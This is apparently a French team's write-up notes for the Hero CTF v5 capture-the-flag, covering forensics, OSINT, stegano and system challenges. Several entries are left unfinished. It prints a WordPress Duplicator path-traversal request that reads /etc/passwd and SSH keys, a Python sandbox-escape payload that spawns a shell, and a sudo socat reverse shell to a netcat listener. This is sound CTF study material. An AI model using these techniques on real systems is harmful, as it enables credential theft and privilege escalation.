# Hero CTF v5 ## Crypto ## Pwn ## Rev ### Give me money back! On telecharge le challenge qui est un fichier zip, pour le unzip il faut mettre le mdp "infected" (clin d oeil at VTx underground) Une fois unzip on a une sorte de malware nomé par son hash. Utilisant "file" on remarque que c est un fichier cab. Donc on le renomme en cab et on extract son contenu. ``` cabextract malware.cab ``` On obtient un fichier description.txt avec la phrase qui se repete comme quoi le server n est plus dispo, donc c etais surement la note pour y acceder et apparement le C2 a peter. On a une image.png.vbs Je pense donc qu'il faut reverse le VBS pour le transformer en png pour obtenir le flag. ## Web ### Best Schools Y a un site avec plusieurs box ou on peut voter pour une école. Il faut que l'école aie le plus de vote. Si on clique plusieurs fois d'affilé on a un message d'erreur. J'ai passé dans burpsuite et on voit la requête mais j'arrive pas à spammer la requête pour augmenter le nombre de cliques. ## Forensics ### FLAG - Heap On a un fichier heap.hprof J'ai passé le fichier sur [heaphero](https://heaphero.io/heap-report-wc.jsp?p=TXhTVHBPYnBoeGp5N1RWbG5DRjRqSVc2eHhzOTZwVCtFZnM0YkRCZ09SS1JSOFc0MVIzam03UzlhSUYra3ZrOGVadjFNK3JMWnM2aDMwQzgvMnhnRGc9PQ==) qui est un analyzer pour des dumps et autre java. Une fois sur le site j'ai direct été dans la recherche d'objet et j'ai cherché Hero: ![](https://hackmd.io/_uploads/rkLS3B0N3.png) J'ai focus sur les deux Object `class com.hero.cryptedsecret.AESEncrypt` Le premier `@ 0x131efdf8` contient rien Le second `@ 0x13323638` contient deux objects intéressant : `message java.lang.String` et `K_E__Y java.lang.String` En les ouvrant on peut récupérer leur Value `message java.lang.String` : kSDIsBFTYa3+aLqEpVLXtspdLse8WclEhbqGLiqvM6k= `K_E__Y java.lang.String`: c45c60232c9847e2 En passant ça dans une AES decrypt online on obtient le flag en base64, on la decode en plain text et on a le Hero J'ai utilisé ce [tool](https://www.devglan.com/online-tools/aes-encryption-decryption) ![](https://hackmd.io/_uploads/HkjbCr0Nh.png) ### My Poor Webserver On accède à une machine en SSH et la machine est vide, il y a plus le webserver, y a plus de log, j'ai ouvert un ticket pour demander si c'était normal et oui l'attaquant à tous effacé, j'ai tenté un find de tous les fichiers .log mais je trouve rien... ### FLAG - Dev Corp 1/4 Methode gros bourin, je pense que y a plus simple. On a un fichier log d'un incident. On dois retrouver la CVE utiliser et le dernier fichier telecharger. On regarde le fichier a l oeil... Mais bon a force vous remarquer assez vite sans lire ce qui impacte ou non (en tout cas a mes yeux) Au bout d un moment on remarque une LFI comme pour cette ligne comme example : ``` internalproxy.devcorp.local - - [02/May/2023:13:13:03 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/config HTTP/1.1" 200 531 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" ``` La LFI semble démarer grace a une action ajax "duplicator_download". Une rapide recherche de "CVE Duplicator Download" Et on tombe sur 2-3 CVE. J'ai commencer par exploit db. Source : https://www.exploit-db.com/exploits/50420 Et en regardant l'exploit on remarque que c'est la bonne CVE. Maintenant il nous reste plus que a trouver le dernier fichier télécharger. Cette fois on utilise grep. ``` $ cat access.log | grep "duplicator_download&file=../" internalproxy.devcorp.local - - [02/May/2023:13:12:29 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd HTTP/1.1" 200 2240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:12:46 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa HTTP/1.1" 500 354 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:13:03 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/config HTTP/1.1" 200 531 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:13:17 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" ``` Flag : Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup} ### Hero Agency 1/4 ![](https://hackmd.io/_uploads/SkHpA7nEn.png) [00:00:00.00] Hero agency emergency broadcast system. [00:00:02.19] [00:00:03.02] Emergency level five of five, [00:00:05.09] en attendant je pose ca la[00:00:05.01] start of message agent V five is missing, [00:00:09.17] [00:00:09.20] do everything in your power to find him. [00:00:12.02] [00:00:13.09] End of message end of broadcast. [00:00:15.17] ** Idée a creuser : regarder du côté de l'article wikipedia.** ![](https://hackmd.io/_uploads/r1WSJN2Eh.png) Spectrogram of this recording of a violin playing. Note the harmonics occurring at whole-number multiples of the fundamental frequency. [wikipedia]( https://en.wikipedia.org/wiki/Spectrogram) binwalk n'a rien donné ## OSINT ### Hero Agency Source : https://www.veed.io/tools/audio-to-text/mp3-to-text ![](https://hackmd.io/_uploads/BkAcYz2En.png) tout l' ### Hero Agency 4/4 On doit trouver l'endroit ou l'agent ce trouve. On chercher donjons Vannes, on trouve ce donjons : Forteresse de Largoët On cheche un plan du donjon et on tombe sur ce [lien](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiOiszG6fT-AhUdUqQEHTHOB_cQFnoECBAQAQ&url=http%3A%2F%2Flafrancemedievale.blogspot.com%2F2020%2F03%2Felven-56-chateau-fort-de-largoet-donjon_28.html&usg=AOvVaw2cIbsSNzZIMKUZj71I7h7o) On voit dans cette article le nom du deuxième étage : "Au 2e étage, cette pièce, dénommée `garde-robe` dans les archives, joue le rôle de vestibule entre la salle de Monsieur et la salle des banquets située dans la cour, au-dessus de la cuisine, en passant par le chemin de ronde" Il est donc détenu dans la garde-robe et c'est donc le flag ## Stegano ### FLAG - PNG-G J'ai téléchargé l'image pngg.png, il y avait 2 images donc une avec ce text qui était le flag. image2: ![](https://hackmd.io/_uploads/rydGIQ3En.png) ### LSD2 On a une image secret.png en la passant dans un outil d'analyse on voit un carré rose en haut à gauche image en dessous ![](https://hackmd.io/_uploads/SyFfSX2E3.png) Un QR code peut être ? Je vois pas Le commentaire du chall : Don't try to throw random tools at this poor image. Go back to the basics and learn the detection techniques. A little hint to make your life easier : 200x200 Good luck! ### FLAG - Subliminal2 Une vidéo avec un carré blanc qui se déplace au fur et à mesure de la vidéo, quand le carré blanc sur certain endroit on voir tu text en dessous. Les pixels font 20x20. J'ai pris un screenshot toute les frames du petit carrés de 20x20 pixel et ça m'a donné ça: ![](https://hackmd.io/_uploads/HkcXS4nNn.png) J'ai guess le dernier mot qui était Subliminal ### FLAG - PDF-Mess Context: This file seems to be a simple copy and paste from wikipedia. It would be necessary to dig a little deeper... J'ai comparé le texte du PDF avec celui de la page officiel wikipedia et c'est pareil, j'ai comparé les images aussi et elles sont pareils. ============================================= J'ai utiliser binwalk pour extract le contenu du pdf : ``` $ binwalk -e strange.pdf DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PDF document, version: "1.7" 824 0x338 Zlib compressed data, default compression 10125 0x278D Zlib compressed data, default compression 37200 0x9150 Zlib compressed data, default compression 37604 0x92E4 JPEG image data, JFIF standard 1.01 37634 0x9302 TIFF image data, big-endian, offset of first image directory: 8 55067 0xD71B Zlib compressed data, default compression 56224 0xDBA0 Zlib compressed data, default compression 56828 0xDDFC Zlib compressed data, default compression 175512 0x2AD98 Zlib compressed data, default compression 227702 0x37976 Zlib compressed data, default compression 228187 0x37B5B Zlib compressed data, default compression ``` Maintenant je suis pas satisfait de la suite... Je suis rentréer dans le dossier extrais, je trouvais pas le jpeg que je penssais etre le flag. Du coup j'ai lut tous les fichier d'un coup avec un : ``` strings * ``` Ensuite je me suis mis a regarder a l'oeil jusqu a voir quelque chose qui me saute au yeux ``` const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod'; ``` Sa m'a pas mal surpis donc j'ai refait un strings fichier par fichier, en utilisant grep "crypto" pour trouver dans quel fichier... ``` $ strings 37976 | grep crypto const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod'; ``` Et il s'avère que c'est une des zlib... ``` 227702 0x37976 Zlib compressed data, default compression ``` Je m connais pas trop en zlib, mais je suis pas sur d'avoir fait le chall correctement. Suite a sa j'ai google "Crypto JS decode AES" et je suis tomber sur un truc TROP BIEN, donc je vais save le code : Source : https://stackblitz.com/edit/cryptojs-aes-encrypt-decrypt?file=index.js On rentre le cipher a decoder, ainsi que la cléf et on obtient le flag. FLAG : Hero{M4L1C10U5_C0D3_1N_PDF} ## Misc ### FLAG - PyJail Google des writeup de python jail / sandbox escape. Source : https://ctftime.org/writeup/25814 Solution : ``` Enum : [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('ls') entry.sh pyjail.py Solution cat : [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('cat pyjail.py') Ou Solution shell : [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close' ][0]['system']('/bin/bash') ``` ` ` ### FLAG - Welcome Il se trouve en base de la page d'accueil. ## System ### FLAG - Chm0d Une fois l'instance start et acceder via : ``` ssh user@dyn-01.heroctf.fr -p 14652 Password : password123 ``` On se retrouve sur une instance linux en temps que "user". On remarque qu on a pas beaucoup de chose possible a faire, on a pas sudo et plein d'autre tools basic. Le flag se trouve dans ```flag.txt```, malheureusement le flag n'a aucune permission, on ne peux donc pas en faire grand chose... Et... /bin/chmod n'as pas les droit d'execution... Après avoir chercher des alternative a chmod sur google, je suis tomber sur ce post Source : https://unix.stackexchange.com/questions/83862/how-to-chmod-without-usr-bin-chmod Il y'a une solution via perl qui a fonctionner ``` perl -e 'chmod 0755, "/flag.txt"' cat /flag.txt ``` ### FLAG - SUDOkLu Le nom du challenge donne la réponse ``` sudo -l ``` On voit qu'on peux executer la command socat via l'utilisateur "privilegeduser". On look sur gtfobins directement, voir si on peut faire quelque chose. Source : https://gtfobins.github.io/gtfobins/socat/ On peut ouvrire un shell! Parfait! On ouvre une deuxieme session SSH et on y ouvre un listener netcat. ``` SESSION SSH 2 : nc -nvlp 1234 ``` On retourne sur notre première session SSH et on fait trigger le shell ``` SESSION SSH 1: sudo -u privilegeduser /usr/bin/socat tcp-connect:0.0.0.0:1234 exec:/bin/sh,pty,stderr,setsid,sigint,sane ``` Notre session 2 devrais avoir escalate vers l'user privilegeduser qui nous autorise a lire le flag. ### FLAG - LFM - 0 : Your mission, should you choose to accept it Le flag est dans la description, pour accepter la mission... Pas de commentaire... ``` For this mission, you are bob. Your ssh credentials are bob:password. Enter this password to accept the mission : Hero{I_4cc3pt_th3_m1ss10n} This message will self-destruct in 5 seconds. > Deploy on deploy.heroctf.fr Format : Hero{flag} Author : Log_s ``` Flage : Hero{I_4cc3pt_th3_m1ss10n} ### LFM - 1 : Bug Hunting